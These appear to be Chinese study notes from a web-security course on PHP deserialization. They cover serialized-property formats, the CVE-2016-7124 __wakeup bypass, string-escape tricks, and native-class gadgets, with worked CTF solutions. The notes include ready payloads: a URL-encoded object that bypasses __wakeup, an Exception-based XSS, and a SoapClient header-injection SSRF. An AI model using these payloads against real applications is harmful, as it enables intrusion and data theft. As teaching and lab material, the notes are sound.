知识点
- PHP-反序列化-属性类型&显示特征
- PHP-反序列化-CVE绕过&字符串逃逸
- PHP-反序列化-原生类生成&利用&配合
演示案例
➢PHP-属性类型-共有&私有&保护
演示源代码
对象变量属性
- public(公共的):在本类内部、外部类、子类都可以访问
- protect(受保护的):只有本类或子类或父类中可以访问
- private(私人的):只有本类内部可以使用
序列化数据显示
- public属性序列化的时候格式是正常成员名
- private属性序列化的时候格式是%00类名%00成员名
- protect属性序列化的时候格式是%00*%00成员名
- %00是空格
- 4.php
- 类如下
class test{ public $name="xiaodi"; private $age="29"; protected $sex="man"; }
- 代码运行输出结果如下
- 我这是在phpstorm运行的结果,原本%00的地方被那个小的null给占了,但是复制粘贴出来之后就会发现是下面这样
O:4:"test":3:{s:4:"name";s:6:"xiaodi";s:9:" test age";s:2:"29";s:6:" * sex";s:3:"man";}
其实就是空格。
- 类如下
- 遇到了要认识,不能以为是序列化数据有问题
➢PHP-绕过漏洞-CVE&字符串逃逸
CVE-2016-7124(__wakeup绕过)
- 漏洞编号:CVE-2016-7124
- 影响版本:PHP 5<5.6.25; PHP 7<7.0.10
- 漏洞危害:如存在__wakeup方法,调用unserilize()方法前则先调用__wakeup方法(即在反序列化恢复对象之前调用该方法),但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup执行
本地Demo演示
源代码
过程
- 将cve.php放到自己网站下进行访问
- 利用cve.php生成一个序列化数据如下
O:4:"Test":3:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}
- 访问cve.php并传入参数x,值为上面的序列化数据
http://127.0.0.1:90/pop/cve.php?x=O:4:%22Test%22:3:{s:3:%22sex%22;N;s:4:%22name%22;N;s:3:%22age%22;N;}
- 页面返回如下
- 说明在反序列化恢复对象之前调用了__wakeup()方法,根据CVE-2016-7124(__wakeup绕过),我们这里修改序列化字符串中表示对象属性个数的值大于真实属性个数,忘记了序列化字符串的结构的看下图
- 序列化字符串修改如下,我这里是改为了4,只要比3大就行
O:4:"Test":3:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;} O:4:"Test":4:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}
- 将参数x的值修改后重新访问cve.php,返回如下
- 成功绕过了__wakeup()的执行。
CTF案例
BUUCTF网址:https://buuoj.cn/
[极客大挑战 2019]PHP
- 下载源码(直接访问靶场/www.zip),分析源码中触发输出flag条件
- 直接查看index.php,发现只有这三行有用,网页接收一个select参数,并将它反序列化,最开始包含了class.php
- 直接查看index.php,发现只有这三行有用,网页接收一个select参数,并将它反序列化,最开始包含了class.php
- 分析class.php
- 直接查看如何获取flag
- 根据分析,我们不能触发调用__wakeup方法,不然就会强制设置username值为guest,同时password的值为100,username的值为admin
- 直接查看如何获取flag
- 因为不能触发__wakeup方法,且在响应头中发现网站PHP版本为5.3.3,所以利用 CVE-2016-7124 php语言漏洞绕过
- 编写生成payload代码
class Name { private $username = 'admin'; private $password = '100'; } $n = serialize(new name()); echo $n."\n"; // 方便进行对照,好找在哪里修改那个值 echo urlencode($n); // 因为参数在url中,所以需要进行一下url编码
- 构造payload后 修改满足漏洞条件触发,即将序列化字符串中表示对象属性个数的值大于真实属性个数
- 我这里将2改为了3
- 最终构造Payload:
select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
- 成功获取flag
字符串逃逸
原理
- 当序列化对象中的某一变量的值改变时,其变量长度也需要发生相应改变,不然在反序列化过程中就会出错,导致无法反序列化。
- 即如下情况,将admin替换为hacker
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
第一个序列化数据正常反序列化时,s:5:"admin",识别五个字符后是正常的下一个变量,而第二个序列化数据在反序列化时s:5:"hakcer"只识别前五个字符,而后导致后续反序列化格式出现问题,从而反序列化失败。
- 我感觉小迪讲的逃逸就是让目标过滤替换后,长度格式仍然正确,使其可以正常被反序列化。在反序列化时,若识别到了正确的序列化数据后,多余的垃圾数据是不影响反序列化结果的,所以根据这个可以实现字符串逃逸。
下面小迪给的关卡代码中可以用其他方法过关,但是这里讲的是字符串逃逸,所以这里用讲了的知识点进行过关。
字符变多-str1.php str1-pop.php
源代码
过程
- 小迪设置的str1.php的意思就是,网站过滤admin,替换admin为hacker,但是还要求你必须输入admin才能过关
- 这里分析一下替换前后的序列化数据
- 所以最终在参数x处传入数据如下
O:4:"user":3:{s:8:"username";s:282:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
字符变少-str2.php str2-pop.php
源代码
过程
- 这里的设置和前面差不多,只不过这个是替换后字符变少了,上面的那个是变多。
- 前面那个我们是考虑使反序列化时少识别原本的值,从而使原本值中的序列化数据被正确解析,这里因为是字符变少了,所以我们考虑使反序列化时多识别一些原本属于正常序列化数据的字符,从而使得不进行替换的变量处的值
案例——CTFSHOW-Web262(逃逸解法)
➢PHP-原生类Tips-获取&利用&配合
参考案例:https://www.anquanke.com/post/id/264823
-PHP有那些原生类-见脚本使用
-常见使用的原生类-见参考案例
-原生类该怎么使用-见官方说明
0、生成原生类
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}
1、本地Demo-xss
<?php
highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;
?>
-输出对象可调用__toString
-无代码通过原生类Exception
-Exception使用查询编写利用
-通过访问触发输出产生XSS漏洞
<?php
$a=new Exception("<script>alert('xiaodi')</script>");
echo urlencode(serialize($a));
?>
2、CTFSHOW-259
-不存在的方法触发__call
-无代码通过原生类SoapClient
-SoapClient使用查询编写利用
-通过访问本地Flag.php获取Flag
<?php
$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
?>
参考
学习内容均来自小迪安全系列课程: